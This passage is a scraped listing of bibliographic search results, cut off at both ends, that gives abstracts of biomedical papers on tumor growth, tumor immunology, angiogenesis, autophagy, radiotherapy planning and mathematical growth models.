damage-associated molecular pattern indicative of immunogenic cell death. We provide direct evidence that nanoelectroablation triggers a CD8-dependent inhibition of secondary tumor growth by comparing the growth rate of secondary orthotopic liver tumors in nsPEF-treated rats with that in nsPEF-treated rats depleted of CD8+ cytotoxic T-cells. The growth of these secondary tumors was severely inhibited as compared to tumor growth in CD8-depleated rats, with their average size only 3% of the primary tumor size after the same one-week growth period. In contrast, when we depleted CD8+ T-cells the second tumor grew more robustly, reaching 54% of the size of the first tumor. In addition, we demonstrate with immunohistochemistry that CD8+ T-cells are highly enriched in the secondary tumors exhibiting slow growth. We also showed that vaccinating mice with nsPEF-treated isogenic tumor cells stimulates an immune response that inhibits the growth of secondary tumors in a CD8+-dependent manner. We conclude that nanoelectroablation triggers the production of CD8+ cytotoxic T-cells resulting in the inhibition of secondary tumor growth. 19. The autophagic tumor stroma model of cancer or "battery-operated tumor growth": A simple solution to the autophagy paradox. Science.gov (United States) Martinez-Outschoorn, Ubaldo E; Whitaker-Menezes, Diana; Pavlides, Stephanos; Chiavarina, Barbara; Bonuccelli, Gloria; Casey, Trimmer; Tsirigos, Aristotelis; Migneco, Gemma; Witkiewicz, Agnieszka; Balliet, Renee; Mercier, Isabelle; Wang, Chengwang; Flomenberg, Neal; Howell, Anthony; Lin, Zhao; Caro, Jaime; Pestell, Richard G; Sotgia, Federica; Lisanti, Michael P 2010-11-01 The role of autophagy in tumorigenesis is controversial. Both autophagy inhibitors (chloroquine) and autophagy promoters (rapamycin) block tumorigenesis by unknown mechanism(s). This is called the "Autophagy Paradox". We have recently reported a simple solution to this paradox. We demonstrated that epithelial cancer cells use oxidative stress to induce autophagy in the tumor microenvironment. As a consequence, the autophagic tumor stroma generates recycled nutrients that can then be used as chemical building blocks by anabolic epithelial cancer cells. This model results in a net energy transfer from the tumor stroma to epithelial cancer cells (an energy imbalance), thereby promoting tumor growth. This net energy transfer is both unilateral and vectorial, from the tumor stroma to the epithelial cancer cells, representing a true host-parasite relationship. We have termed this new paradigm "The Autophagic Tumor Stroma Model of Cancer Cell Metabolism" or "Battery-Operated Tumor Growth". In this sense, autophagy in the tumor stroma serves as a "battery" to fuel tumor growth, progression and metastasis, independently of angiogenesis. Using this model, the systemic induction of autophagy will prevent epithelial cancer cells from using recycled nutrients, while the systemic inhibiton of autophagy will prevent stromal cells from producing recycled nutrients-both effectively "starving" cancer cells. We discuss the idea that tumor cells could become resistant to the systemic induction of autophagy, by the upregulation of natural endogenous autophagy inhibitors in cancer cells. Alternatively, tumor cells could also become resistant to the systemic induction of autophagy, by the genetic silencing/deletion of pro-autophagic molecules, such as Beclin1. If autophagy resistance develops in cancer cells, then the systemic inhibition of autophagy would provide a therapeutic solution to this type of drug resistance, as it would still target autophagy in the tumor stroma. As such, an 20. Cellular Automaton Model for Immunology of Tumor Growth CERN Document Server Voitikova, M 1998-01-01 The stochastic discrete space-time model of an immune response on tumor spreading in a two-dimensional square lattice has been developed. The immunity-tumor interactions are described at the cellular level and then transferred into the setting of cellular automata (CA). The multistate CA model for system, in which all statesoflattice sites, composing of both immune and tumor cells populations, are the functions of the states of the 12 nearest neighbors. The CA model incorporates the essential featuresof the immunity-tumor system. Three regimes of neoplastic evolution including metastatic tumor growth and screen effect by inactive immune cells surrounding a tumor have been predicted. 1. Inflamed tumor-associated adipose tissue is a depot for macrophages that stimulate tumor growth and angiogenesis NARCIS (Netherlands) Wagner, Marek; Bjerkvig, Rolf; Wiig, Helge; Melero-Martin, Juan M.; Lin, Ruei-Zeng; Klagsbrun, Michael; Dudley, Andrew C. 2012-01-01 Tumor-associated stroma is typified by a persistent, non-resolving inflammatory response that enhances tumor angiogenesis, growth and metastasis. Inflammation in tumors is instigated by heterotypic interactions between malignant tumor cells, vascular endothelium, fibroblasts, immune and inflammatory 2. Effect of blocking the transforming growth factor-beta signaling pathway on tumor-specific cytotoxic T lym-phocytes%靶向阻断转化生长因子-β信号通路对肿瘤特异性细胞毒性T淋巴细胞的影响 Institute of Scientific and Technical Information of China (English) 田丰; 周凯; 车晓玲; 傅点; 程文; 周文泉; 张征宇; 秦卫军; 王龙信 2015-01-01 Objective Cytotoxic T lymphocytes ( CTLs) are final effect tumor-killer cells in the body and their immune func-tion can be suppressed by the transforming growth factor-beta ( TGF-β) secreted from the tumor .We observed the effect of blocking the TGF-βsignaling pathway on tumor-specific CTLs. Methods Tumor lysate-pulsed CTLs (TP-CTLs) were activated to be sensitive to mouse renal cancer cells with dendritic cells and transfected with a retrovirus containing dominant -negative TGF-βtype Ⅱ receptor ( TβRⅡDN) for isolation of TGF-β-insensitive tumor-specific TβRⅡDN-CTLs.Western blot was used to measure the level of phos-phorylated Smad-2 and evaluate the inhibitory effect of TGF-βon the proliferation of CTLs .The cytotoxic effect of TGF-βwas detected by 51 Cr releasing test , and the levels of serum IL-2 and INF-γin the mouse model determined by ELISA . Results TGF-βshowed a significantly lower rate of inhibition on the proliferation of the TβRⅡDN-CTLs than on that of the TP-CTLs (2.08%vs 65.96%, P [850.34 ±27.22]pg/mL, P Blocking the TGF-βsignaling pathway of tumor-specific CTLs can overcome the immunosuppressive effect of tumor cells and improve the cytotoxic efficiency of CTLs .%目的细胞毒性T淋巴细胞( cytotoxic T lymphocyte , CTL)是体内杀伤肿瘤的最终效应细胞,但其免疫功能会被肿瘤分泌的转化生长因子β( transforming growth factor β, TGF-β)所抑制,文中观察靶向阻断TGF-β信号通路对肿瘤特异性CTL的影响。方法利用包涵修饰过的TGF-βⅡ型受体( transforming growth factor βreceptor type Ⅱ, TβRⅡ)质粒的逆转录病毒载体,转染经DC激活的小鼠肾癌Renca细胞敏感的CTL(tumor pulsed CTL, TP-CTL),获得对TGF-β不敏感而肿瘤特异性的CTL( TβRⅡDN-CTL),Western blot检测Smad-2的磷酸化情况,观察TGF-β对CTL体外增殖抑制情况,将TβRⅡDN-CTL与未阻断TGF-β信号通路TP-CTL分别与相关及无关 3. Cyclophosphamide Enhances Human Tumor Growth in Nude Rat Xenografted Tumor Models Directory of Open Access Journals (Sweden) Yingjen Jeffrey Wu 2009-02-01 Full Text Available The effect of the immunomodulatory chemotherapeutic agent cyclophosphamide (CTX on tumor growth was investigated in primary and metastatic intracerebral and subcutaneous rat xenograft models. Nude rats were treated with CTX (100 mg/kg, intraperitoneally 24 hours before human ovarian carcinoma (SKOV3, small cell lung carcinoma (LX-1 SCLC, and glioma (UW28, U87MG, and U251 tumor cells were inoculated subcutaneously, intraperitoneally, or in the right cerebral hemisphere or were infused into the right internal carotid artery. Tumor development was monitored and recorded. Potential mechanisms were further investigated. Only animals that received both CTX and Matrigel showed consistent growth of subcutaneous tumors. Cyclophosphamide pretreatment increased the percentage (83.3% vs 0% of animals showing intraperitoneal tumors. In intracerebral implantation tumor models, CTX pretreatment increased the tumor volume and the percentage of animals showing tumors. Cyclophosphamide increased lung carcinoma bone and facial metastases after intra-arterial injection, and 20% of animals showed brain metastases. Cyclophosphamide transiently decreased nude rat white blood cell counts and glutathione concentration, whereas serum vascular endothelial growth factor was significantly elevated. Cyclophosphamide also increased CD31 reactivity, a marker of vascular endothelium, and macrophage (CD68-positive infiltration into glioma cell-inoculated rat brains. Cyclophosphamide may enhance primary and metastatic tumor growth through multiple mechanisms, including immune modulation, decreased response to oxidative stress, increased tumor vascularization, and increased macrophage infiltration. These findings may be clinically relevant because chemotherapy may predispose human cancer subjects to tumor growth in the brain or other tissues. 4. The role of tumor cell-derived connective tissue growth factor (CTGF/CCN2) in pancreatic tumor growth DEFF Research Database (Denmark) Bennewith, Kevin L; Huang, Xin; Ham, Christine M; 2009-01-01 RNA-expressing clones showed dramatically reduced growth in soft agar and when implanted s.c. We also observed a role for CCN2 in the growth of pancreatic tumors implanted orthotopically, with tumor volume measurements obtained by positron emission tomography imaging. Mechanistically, CCN2 protects cells from hypoxia... 5. Tumor associated osteoclast-like giant cells promote tumor growth and lymphangiogenesis by secreting vascular endothelial growth factor-C Energy Technology Data Exchange (ETDEWEB) Hatano, Yu [Department of Cellular Physiological Chemistry, Tokyo Medical and Dental University, 1-5-45, Yushima, Bunkyo-ku, Tokyo 113-8510 (Japan); Department of Cardivascular Medicine, Tokyo Medical and Dental University, 1-5-45, Yushima, Bunkyo-ku, Tokyo 113-8510 (Japan); Nakahama, Ken-ichi, E-mail: nakacell@tmd.ac.jp [Department of Cellular Physiological Chemistry, Tokyo Medical and Dental University, 1-5-45, Yushima, Bunkyo-ku, Tokyo 113-8510 (Japan); Isobe, Mitsuaki [Department of Cardivascular Medicine, Tokyo Medical and Dental University, 1-5-45, Yushima, Bunkyo-ku, Tokyo 113-8510 (Japan); Morita, Ikuo [Department of Cellular Physiological Chemistry, Tokyo Medical and Dental University, 1-5-45, Yushima, Bunkyo-ku, Tokyo 113-8510 (Japan) 2014-03-28 Highlights: • M-CSF and RANKL expressing HeLa cells induced osteoclastogenesis in vitro. • We established OGC-containing tumor model in vivo. • OGC-containing tumor became larger independent of M-CSF or RANKL effect. • VEGF-C secreted from OGCs was a one of candidates for OGC-containing tumor growth. - Abstract: Tumors with osteoclast-like giant cells (OGCs) have been reported in a variety of organs and exert an invasive and prometastatic phenotype, but the functional role of OGCs in the tumor environment has not been fully clarified. We established tumors containing OGCs to clarify the role of OGCs in tumor phenotype. A mixture of HeLa cells expressing macrophage colony-stimulating factor (M-CSF, HeLa-M) and receptor activator of nuclear factor-κB ligand (RANKL, HeLa-R) effectively supported the differentiation of osteoclast-like cells from bone marrow macrophages in vitro. Moreover, a xenograft study showed OGC formation in a tumor composed of HeLa-M and HeLa-R. Surprisingly, the tumors containing OGCs were significantly larger than the tumors without OGCs, although the growth rates were not different in vitro. Histological analysis showed that lymphangiogenesis and macrophage infiltration in the tumor containing OGCs, but not in other tumors were accelerated. According to quantitative PCR analysis, vascular endothelial growth factor (VEGF)-C mRNA expression increased with differentiation of osteoclast-like cells. To investigate whether VEGF-C expression is responsible for tumor growth and macrophage infiltration, HeLa cells overexpressing VEGF-C (HeLa-VC) were established and transplanted into mice. Tumors composed of HeLa-VC mimicked the phenotype of the tumors containing OGCs. Furthermore, the vascular permeability of tumor microvessels also increased in tumors containing OGCs and to some extent in VEGF-C-expressing tumors. These results suggest that macrophage infiltration and vascular permeability are possible mediators in these tumors. These 6. Tumor-Derived CXCL1 Promotes Lung Cancer Growth via Recruitment of Tumor-Associated Neutrophils Directory of Open Access Journals (Sweden) Ming Yuan 2016-01-01 Full Text Available Neutrophils have a traditional role in inflammatory process and act as the first line of defense against infections. Although their contribution to tumorigenesis and progression is still controversial, accumulating evidence recently has demonstrated that tumor-associated neutrophils (TANs play a key role in multiple aspects of cancer biology. Here, we detected that chemokine CXCL1 was dramatically elevated in serum from 3LL tumor-bearing mice. In vitro, 3LL cells constitutively expressed and secreted higher level of CXCL1. Furthermore, knocking down CXCL1 expression in 3LL cells significantly hindered tumor growth by inhibiting recruitment of neutrophils from peripheral blood into tumor tissues. Additionally, tumor-infiltrated neutrophils expressed higher levels of MPO and Fas/FasL, which may be involved in TAN-mediated inhibition of CD4+ and CD8+ T cells. These results demonstrate that tumor-derived CXCL1 contributes to TANs infiltration in lung cancer which promotes tumor growth. 7. Diagnostic Value of Processing Cytologic Aspirates of Renal Tumors in Agar Cell (Tissue) Blocks DEFF Research Database (Denmark) Smedts, F.; Schrik, M.; Horn, T.; 2010-01-01 cells to formulate a diagnosis; the conventional cytologic sample in this case contained enough diagnostic cells. In all cases the AM diagnosis was confirmed in the definitive surgical specimen. Conclusion Our AM technique for processing fine needle aspirates from renal tumors results in a major......-initiated, and in 14% too few diagnostic cells were present in the conventional smears for cytologic diagnosis. It was, however, possible to correctly diagnose histologic sections from 97% of AM tissue blocks. In 11 cases this was facilitated with immunochemistry. In only 1 case did the AM tissue block contain too few... 8. The transcription factor Ets21C drives tumor growth by cooperating with AP-1 Science.gov (United States) Toggweiler, Janine; Willecke, Maria; Basler, Konrad 2016-01-01 Tumorigenesis is driven by genetic alterations that perturb the signaling networks regulating proliferation or cell death. In order to block tumor growth, one has to precisely know how these signaling pathways function and interplay. Here, we identified the transcription factor Ets21C as a pivotal regulator of tumor growth and propose a new model of how Ets21C could affect this process. We demonstrate that a depletion of Ets21C strongly suppressed tumor growth while ectopic expression of Ets21C further increased tumor size. We confirm that Ets21C expression is regulated by the JNK pathway and show that Ets21C acts via a positive feed-forward mechanism to induce a specific set of target genes that is critical for tumor growth. These genes are known downstream targets of the JNK pathway and we demonstrate that their expression not only depends on the transcription factor AP-1, but also on Ets21C suggesting a cooperative transcriptional activation mechanism. Taken together we show that Ets21C is a crucial player in regulating the transcriptional program of the JNK pathway and enhances our understanding of the mechanisms that govern neoplastic growth. PMID:27713480 9. Is grid therapy useful for all tumors and every grid block design? Science.gov (United States) Gholami, Somayeh; Nedaie, Hassan Ali; Longo, Francesco; Ay, Mohammad Reza; Wright, Stacey; Meigooni, Ali S 2016-01-01 Grid therapy is a treatment technique that has been introduced for patients with advanced bulky tumors. The purpose of this study is to investigate the effect of the radia-tion sensitivity of the tumors and the design of the grid blocks on the clinical response of grid therapy. The Monte Carlo simulation technique is used to determine the dose distribution through a grid block that was used for a Varian 2100C linear accelerator. From the simulated dose profiles, the therapeutic ratio (TR) and the equivalent uniform dose (EUD) for different types of tumors with respect to their radiation sensitivities were calculated. These calculations were performed using the linear quadratic (LQ) and the Hug-Kellerer (H-K) models. The results of these calculations have been validated by comparison with the clinical responses of 232 patients from different publications, who were treated with grid therapy. These published results for different tumor types were used to examine the correlation between tumor radiosensitivity and the clinical response of grid therapy. Moreover, the influence of grid design on their clinical responses was investigated by using Monte Carlo simulations of grid blocks with different hole diameters and different center-to-center spacing. The results of the theoretical models and clinical data indicated higher clinical responses for the grid therapy on the patients with more radioresistant tumors. The differences between TR values for radioresistant cells and radiosensitive cells at 20 Gy and 10 Gy doses were up to 50% and 30%, respectively. Interestingly, the differences between the TR values with LQ model and H-K model were less than 4%. Moreover, the results from the Monte Carlo studies showed that grid blocks with a hole diameters of 1.0 cm and 1.25 cm may lead to about 19% higher TR relative to the grids with hole diameters smaller than 1.0 cm or larger than 1.25 cm (with 95% confidence interval). In sum-mary, the results of this study indicate that 10. Extratumoral Macrophages Promote Tumor and Vascular Growth in an Orthotopic Rat Prostate Tumor Model Directory of Open Access Journals (Sweden) Sofia Halin 2009-02-01 Full Text Available Tumor-associated macrophages are involved in angiogenesis and tumor progression, but their role and specific site of action in prostate cancer remain unknown. To explore this, Dunning R-3327 AT-1 rat prostate tumor cells were injected into the prostate of syngenic and immunocompetent Copenhagen rats and analyzed at different time points for vascular proliferation and macrophage density. Endothelial proliferation increased with tumor size both in the tumor and importantly also in the extratumoral normal prostate tissue. Macrophages accumulated in the tumor and in the extratumoral normal prostate tissue and were most abundant in the invasive zone. Moreover, only extratumoral macrophages showed strong positive associations with tumor size and extratumoral vascular proliferation. Treatment with clodronate-encapsulated liposomes reduced the monocyte/macrophage infiltration and resulted in a significant inhibition of tumor growth. This was accompanied by a suppressed proliferation in microvessels and in the extratumoral prostate tissue also in arterioles and venules. The AT-1 tumors produced, as examined by RT2 Profiler PCR arrays, numerous factors promoting monocyte recruitment, angiogenesis, and tissue remodeling. Several, namely, chemokine (C-C ligand 2, fibroblast growth factor 2, matrix metalloproteinase 9, interleukin 1β, interferon γ, and transforming growth factor β, were highly upregulated by the tumor in vivo compared with tumor cells in vitro, suggesting macrophages as a plausible source. In conclusion, we here show the importance of extratumoral monocytes/macrophages for prostate tumor growth, angiogenesis, and extratumoral arteriogenesis. Our findings identify tumor-associated macrophages and several chemotactic and angiogenic factors as potential targets for prostate cancer therapy. 11. A block matching-based registration algorithm for localization of locally advanced lung tumors Science.gov (United States) Robertson, Scott P.; Weiss, Elisabeth; Hugo, Geoffrey D. 2014-01-01 Purpose: To implement and evaluate a block matching-based registration (BMR) algorithm for locally advanced lung tumor localization during image-guided radiotherapy. Methods: Small (1 cm3), nonoverlapping image subvolumes (“blocks”) were automatically identified on the planning image to cover the tumor surface using a measure of the local intensity gradient. Blocks were independently and automatically registered to the on-treatment image using a rigid transform. To improve speed and robustness, registrations were performed iteratively from coarse to fine image resolution. At each resolution, all block displacements having a near-maximum similarity score were stored. From this list, a single displacement vector for each block was iteratively selected which maximized the consistency of displacement vectors across immediately neighboring blocks. These selected displacements were regularized using a median filter before proceeding to registrations at finer image resolutions. After evaluating all image resolutions, the global rigid transform of the on-treatment image was computed using a Procrustes analysis, providing the couch shift for patient setup correction. This algorithm was evaluated for 18 locally advanced lung cancer patients, each with 4–7 weekly on-treatment computed tomography scans having physician-delineated gross tumor volumes. Volume overlap (VO) and border displacement errors (BDE) were calculated relative to the nominal physician-identified targets to establish residual error after registration. Results: Implementation of multiresolution registration improved block matching accuracy by 39% compared to registration using only the full resolution images. By also considering multiple potential displacements per block, initial errors were reduced by 65%. Using the final implementation of the BMR algorithm, VO was significantly improved from 77% ± 21% (range: 0%–100%) in the initial bony alignment to 91% ± 8% (range: 56%–100%; p < 0.001). Left 12. Phase transition in tumor growth: I avascular development Science.gov (United States) Izquierdo-Kulich, E.; Rebelo, I.; Tejera, E.; Nieto-Villar, J. M. 2013-12-01 We propose a mechanism for avascular tumor growth based on a simple chemical network. This model presents a logistic behavior and shows a “second order” phase transition. We prove the fractal origin of the empirical logistics and Gompertz constant and its relation to mitosis and apoptosis rate. Finally, the thermodynamics framework developed demonstrates the entropy production rate as a Lyapunov function during avascular tumor growth. 13. Bioavailable copper modulates oxidative phosphorylation and growth of tumors. Science.gov (United States) Ishida, Seiko; Andreux, Pénélope; Poitry-Yamate, Carole; Auwerx, Johan; Hanahan, Douglas 2013-11-26 Copper is an essential trace element, the imbalances of which are associated with various pathological conditions, including cancer, albeit via largely undefined molecular and cellular mechanisms. Here we provide evidence that levels of bioavailable copper modulate tumor growth. Chronic exposure to elevated levels of copper in drinking water, corresponding to the maximum allowed in public water supplies, stimulated proliferation of cancer cells and de novo pancreatic tumor growth in mice. Conversely, reducing systemic copper levels with a chelating drug, clinically used to treat copper disorders, impaired both. Under such copper limitation, tumors displayed decreased activity of the copper-binding mitochondrial enzyme cytochrome c oxidase and reduced ATP levels, despite enhanced glycolysis, which was not accompanied by increased invasiveness of tumors. The antiproliferative effect of copper chelation was enhanced when combined with inhibitors of glycolysis. Interestingly, larger tumors contained less copper than smaller tumors and exhibited comparatively lower activity of cytochrome c oxidase and increased glucose uptake. These results establish copper as a tumor promoter and reveal that varying levels of copper serves to regulate oxidative phosphorylation in rapidly proliferating cancer cells inside solid tumors. Thus, activation of glycolysis in tumors may in part reflect insufficient copper bioavailability in the tumor microenvironment. 14. Mirtazapine inhibits tumor growth via immune response and serotonergic system. Directory of Open Access Journals (Sweden) Chun-Kai Fang Full Text Available To study the tumor inhibition effect of mirtazapine, a drug for patients with depression, CT26/luc colon carcinoma-bearing animal model was used. BALB/c mice were randomly divided into six groups: two groups without tumors, i.e. wild-type (no drug and drug (mirtazapine, and four groups with tumors, i.e. never (no drug, always (pre-drug, i.e. drug treatment before tumor inoculation and throughout the experiment, concurrent (simultaneously tumor inoculation and drug treatment throughout the experiment, and after (post-drug, i.e. drug treatment after tumor inoculation and throughout the experiment. The "psychiatric" conditions of mice were observed from the immobility time with tail suspension and spontaneous motor activity post tumor inoculation. Significant increase of serum interleukin-12 (sIL-12 and the inhibition of tumor growth were found in mirtazapine-treated mice (always, concurrent, and after as compared with that of never. In addition, interferon-γ level and immunocompetent infiltrating CD4+/CD8+ T cells in the tumors of mirtazapine-treated, tumor-bearing mice were significantly higher as compared with that of never. Tumor necrosis factor-α (TNF-α expressions, on the contrary, are decreased in the mirtazapine-treated, tumor-bearing mice as compared with that of never. Ex vivo autoradiography with [(123I]ADAM, a radiopharmaceutical for serotonin transporter, also confirms the similar results. Notably, better survival rates and intervals were also found in mirtazapine-treated mice. These findings, however, were not observed in the immunodeficient mice. Our results suggest that tumor growth inhibition by mirtazapine in CT26/luc colon carcinoma-bearing mice may be due to the alteration of the tumor microenvironment, which involves the activation of the immune response and the recovery of serotonin level. 15. CEP-701 and CEP-751 inhibit constitutively activated RET tyrosine kinase activity and block medullary thyroid carcinoma cell growth. Science.gov (United States) Strock, Christopher J; Park, Jong-In; Rosen, Mark; Dionne, Craig; Ruggeri, Bruce; Jones-Bolin, Susan; Denmeade, Samuel R; Ball, Douglas W; Nelkin, Barry D 2003-09-01 All of the cases of medullary thyroid carcinoma (MTC) express the RET receptor tyrosine kinase. In essentially all of the hereditary cases and approximately 40% of the sporadic cases of MTC, the RET kinase is constitutively activated by mutation. This suggests that RET may be an effective therapeutic target for treatment of MTC. We show that the indolocarbazole derivatives, CEP-701 and CEP-751, inhibit RET in MTC cells. These compounds effectively inhibit RET phosphorylation in a dose-dependent manner at concentrations <100 nM in 0.5% serum and at somewhat higher concentrations in the presence of 16% serum. They also blocked the growth of these MTC cells in culture. CEP-751 and its prodrug, CEP-2563, also inhibited tumor growth in MTC cell xenografts. These results show that inhibiting RET can block the growth of MTC cells and may have a therapeutic benefit in MTC. 16. Tie2-dependent deletion of α6 integrin subunit in mice reduces tumor growth and angiogenesis. Science.gov (United States) Bouvard, Claire; Segaoula, Zacharie; De Arcangelis, Adèle; Galy-Fauroux, Isabelle; Mauge, Laetitia; Fischer, Anne-Marie; Georges-Labouesse, Elisabeth; Helley, Dominique 2014-11-01 The α6 integrin subunit (α6) has been implicated in cancer cell migration and in the progression of several malignancies, but its role in tumor angiogenesis is unclear. In mice, anti-α6 blocking antibodies reduce tumor angiogenesis, whereas Tie1-dependent α6 gene deletion enhances neovessel formation in melanoma and lung carcinoma. To clarify the discrepancy in these results we used the cre-lox system to generate a mouse line, α6fl/fl‑Tie2Cre(+), with α6 gene deletion specifically in Tie2-lineage cells: endothelial cells, pericytes, subsets of hematopoietic stem cells, and Tie2-expressing monocytes/macrophages (TEMs), known for their proangiogenic properties. Loss of α6 expression in α6fl/fl‑Tie2Cre(+) mice reduced tumor growth in a murine B16F10 melanoma model. Immunohistological analysis of the tumors showed that Tie2-dependent α6 gene deletion was associated with reduced tumor vascularization and with reduced infiltration of proangiogenic Tie2-expressing macrophages. These findings demonstrate that α6 integrin subunit plays a major role in tumor angiogenesis and TEM infiltration. Targeting α6 could be used as a strategy to reduce tumor growth. PMID:25176420 17. Mesenchymal stem cell 1 (MSC1-based therapy attenuates tumor growth whereas MSC2-treatment promotes tumor growth and metastasis. Directory of Open Access Journals (Sweden) Ruth S Waterman Full Text Available BACKGROUND: Currently, there are many promising clinical trials using mesenchymal stem cells (MSCs in cell-based therapies of numerous diseases. Increasingly, however, there is a concern over the use of MSCs because they home to tumors and can support tumor growth and metastasis. For instance, we established that MSCs in the ovarian tumor microenvironment promoted tumor growth and favored angiogenesis. In parallel studies, we also developed a new approach to induce the conventional mixed pool of MSCs into two uniform but distinct phenotypes we termed MSC1 and MSC2. METHODOLOGY/PRINCIPAL FINDINGS: Here we tested the in vitro and in vivo stability of MSC1 and MSC2 phenotypes as well as their effects on tumor growth and spread. In vitro co-culture of MSC1 with various cancer cells diminished growth in colony forming units and tumor spheroid assays, while conventional MSCs or MSC2 co-culture had the opposite effect in these assays. Co-culture of MSC1 and cancer cells also distinctly affected their migration and invasion potential when compared to MSCs or MSC2 treated samples. The expression of bioactive molecules also differed dramatically among these samples. MSC1-based treatment of established tumors in an immune competent model attenuated tumor growth and metastasis in contrast to MSCs- and MSC2-treated animals in which tumor growth and spread was increased. Also, in contrast to these groups, MSC1-therapy led to less ascites accumulation, increased CD45+leukocytes, decreased collagen deposition, and mast cell degranulation. CONCLUSION/SIGNIFICANCE: These observations indicate that the MSC1 and MSC2 phenotypes may be convenient tools for the discovery of critical components of the tumor stroma. The continued investigation of these cells may help ensure that cell based-therapy is used safely and effectively in human disease. 18. CANSTATIN, A ENDOGENOUS INHIBITOR OF ANGIOGENESIS AND TUMOR GROWTH Institute of Scientific and Technical Information of China (English) 苏影; 朱建思 2004-01-01 Canstatin is a novel inhibitor of angiogenesis and tumor growth, derived from the C-terminal globular non-collageneous (NCl) domain of the (2 chain of type IV collagen. It inhibits endothelial cell proliferation and migration in a dose-dependent manner, and induces endothelial cell apoptosis. In vivo experiments show that canstatin significantly inhibits solid tumor growth. The canstatin mediated inhibition of tumor is related to apoptosis. Canstatin- induced apoptosis is associated with phosphatidylinositol 3-kinase/Akt inhibition and is dependend upon signaling events transduced trough membrane death receptor. 19. SHAPE PARAMETERS USED IN GROWTH ESTIMATION OF TUMORS USING MAMMOGRAPHY Directory of Open Access Journals (Sweden) 2012-06-01 Full Text Available Analysis of tumor size is very important input for the doctors in deciding the stage of the cancer and surgical approach. Various parameters gives different information about the tumor. This affects treatment decisions, and hence plays a significant role. This paper proposes the effective methodology for analysis of shape and size ofthe tumors present in the breast using mammograms. It gives detail study of each tumor present in the mammogram and predicts the growth rate. It is a powerful tools to assist the doctors in the treatment related to breast cancer. 20. A Big Bang model of human colorectal tumor growth. Science.gov (United States) Sottoriva, Andrea; Kang, Haeyoun; Ma, Zhicheng; Graham, Trevor A; Salomon, Matthew P; Zhao, Junsong; Marjoram, Paul; Siegmund, Kimberly; Press, Michael F; Shibata, Darryl; Curtis, Christina 2015-03-01 What happens in early, still undetectable human malignancies is unknown because direct observations are impractical. Here we present and validate a 'Big Bang' model, whereby tumors grow predominantly as a single expansion producing numerous intermixed subclones that are not subject to stringent selection and where both public (clonal) and most detectable private (subclonal) alterations arise early during growth. Genomic profiling of 349 individual glands from 15 colorectal tumors showed an absence of selective sweeps, uniformly high intratumoral heterogeneity (ITH) and subclone mixing in distant regions, as postulated by our model. We also verified the prediction that most detectable ITH originates from early private alterations and not from later clonal expansions, thus exposing the profile of the primordial tumor. Moreover, some tumors appear 'born to be bad', with subclone mixing indicative of early malignant potential. This new model provides a quantitative framework to interpret tumor growth dynamics and the origins of ITH, with important clinical implications. PMID:25665006 1. Hypoxia promotes tumor growth in linking angiogenesis to immune escape Directory of Open Access Journals (Sweden) Salem eCHOUAIB 2012-02-01 Full Text Available Despite the impressive progress over the past decade, in the field of tumor immunology, such as the identification of tumor antigens and antigenic peptides as potential targets, there are still many obstacles in eliciting an effective immune response to eradicate cancer. It has become increasingly clear that tumor microenvironment plays a crucial role in the control of immune protection and contains many overlapping mechanisms to evade antigen specific immunotherapy. Obviously, tumors have evolved to utilize hypoxic stress to their own advantage by activating key biochemical and cellular pathways that are important in progression, survival and metastasis. Among the hypoxia-induced genes, hypoxia-inducible factor (HIF-1 and vascular endothelial growth factor (VEGF play a determinant role in promoting tumor cell growth and survival. In this regard, hypoxia is emerging as an attractive target for cancer therapy. How the microenvironmental hypoxia poses both obstacles and opportunities for new therapeutic immune interventions will be discussed. 2. Overexpression of vascular endothelial growth factor C increases growth and alters the metastatic pattern of orthotopic PC-3 prostate tumors Directory of Open Access Journals (Sweden) Väänänen H Kalervo 2009-10-01 Full Text Available Abstract Background Prostate cancer metastasizes to regional lymph nodes and distant sites but the roles of lymphatic and hematogenous pathways in metastasis are not fully understood. Methods We studied the roles of VEGF-C and VEGFR3 in prostate cancer metastasis by blocking VEGFR3 using intravenous adenovirus-delivered VEGFR3-Ig fusion protein (VEGFR3-Ig and by ectopic expression of VEGF-C in PC-3 prostate tumors in nude mice. Results VEGFR3-Ig decreased the density of lymphatic capillaries in orthotopic PC-3 tumors (p p p p Conclusion The data suggest that even though VEGF-C/VEGFR3 pathway is primarily required for lymphangiogenesis and lymphatic metastasis, an increased level of VEGF-C can also stimulate angiogenesis, which is associated with growth of orthotopic prostate tumors and a switch from a primary pattern of lymph node metastasis to an increased proportion of metastases at distant sites. 3. Near-criticality underlies the behavior of early tumor growth. Science.gov (United States) Remy, Guillaume; Cluzel, Philippe 2016-01-01 The controlling factors that underlie the growth of tumors have often been hard to identify because of the presence in this system of a large number of intracellular biochemical parameters. Here, we propose a simplifying framework to identify the key physical parameters that govern the early growth of tumors. We model growth by means of branching processes where cells of different types can divide and differentiate. First, using this process that has only one controlling parameter, we study a one cell type model and compute the probability for tumor survival and the time of tumor extinction. Second, we show that when cell death and cell division are perfectly balanced, stochastic effects dominate the growth dynamics and the system exhibits a near-critical behavior that resembles a second-order phase transition. We show, in this near-critical regime, that the time interval before tumor extinction is power-law distributed. Finally, we apply this branching formalism to infer, from experimental growth data, the number of different cell types present in the observed tumor. PMID:27043180 4. A multiphase model for three-dimensional tumor growth Science.gov (United States) Sciumè, G.; Shelton, S.; Gray, W. G.; Miller, C. T.; Hussain, F.; Ferrari, M.; Decuzzi, P.; Schrefler, B. A. 2013-01-01 Several mathematical formulations have analyzed the time-dependent behavior of a tumor mass. However, most of these propose simplifications that compromise the physical soundness of the model. Here, multiphase porous media mechanics is extended to model tumor evolution, using governing equations obtained via the thermodynamically constrained averaging theory. A tumor mass is treated as a multiphase medium composed of an extracellular matrix (ECM); tumor cells (TCs), which may become necrotic depending on the nutrient concentration and tumor phase pressure; healthy cells (HCs); and an interstitial fluid for the transport of nutrients. The equations are solved by a finite element method to predict the growth rate of the tumor mass as a function of the initial tumor-to-healthy cell density ratio, nutrient concentration, mechanical strain, cell adhesion and geometry. Results are shown for three cases of practical biological interest such as multicellular tumor spheroids (MTSs) and tumor cords. First, the model is validated by experimental data for time-dependent growth of an MTS in a culture medium. The tumor growth pattern follows a biphasic behavior: initially, the rapidly growing TCs tend to saturate the volume available without any significant increase in overall tumor size; then, a classical Gompertzian pattern is observed for the MTS radius variation with time. A core with necrotic cells appears for tumor sizes larger than 150 μm, surrounded by a shell of viable TCs whose thickness stays almost constant with time. A formula to estimate the size of the necrotic core is proposed. In the second case, the MTS is confined within a healthy tissue. The growth rate is reduced, as compared to the first case—mostly due to the relative adhesion of the TCs and HCs to the ECM, and the less favorable transport of nutrients. In particular, for HCs adhering less avidly to the ECM, the 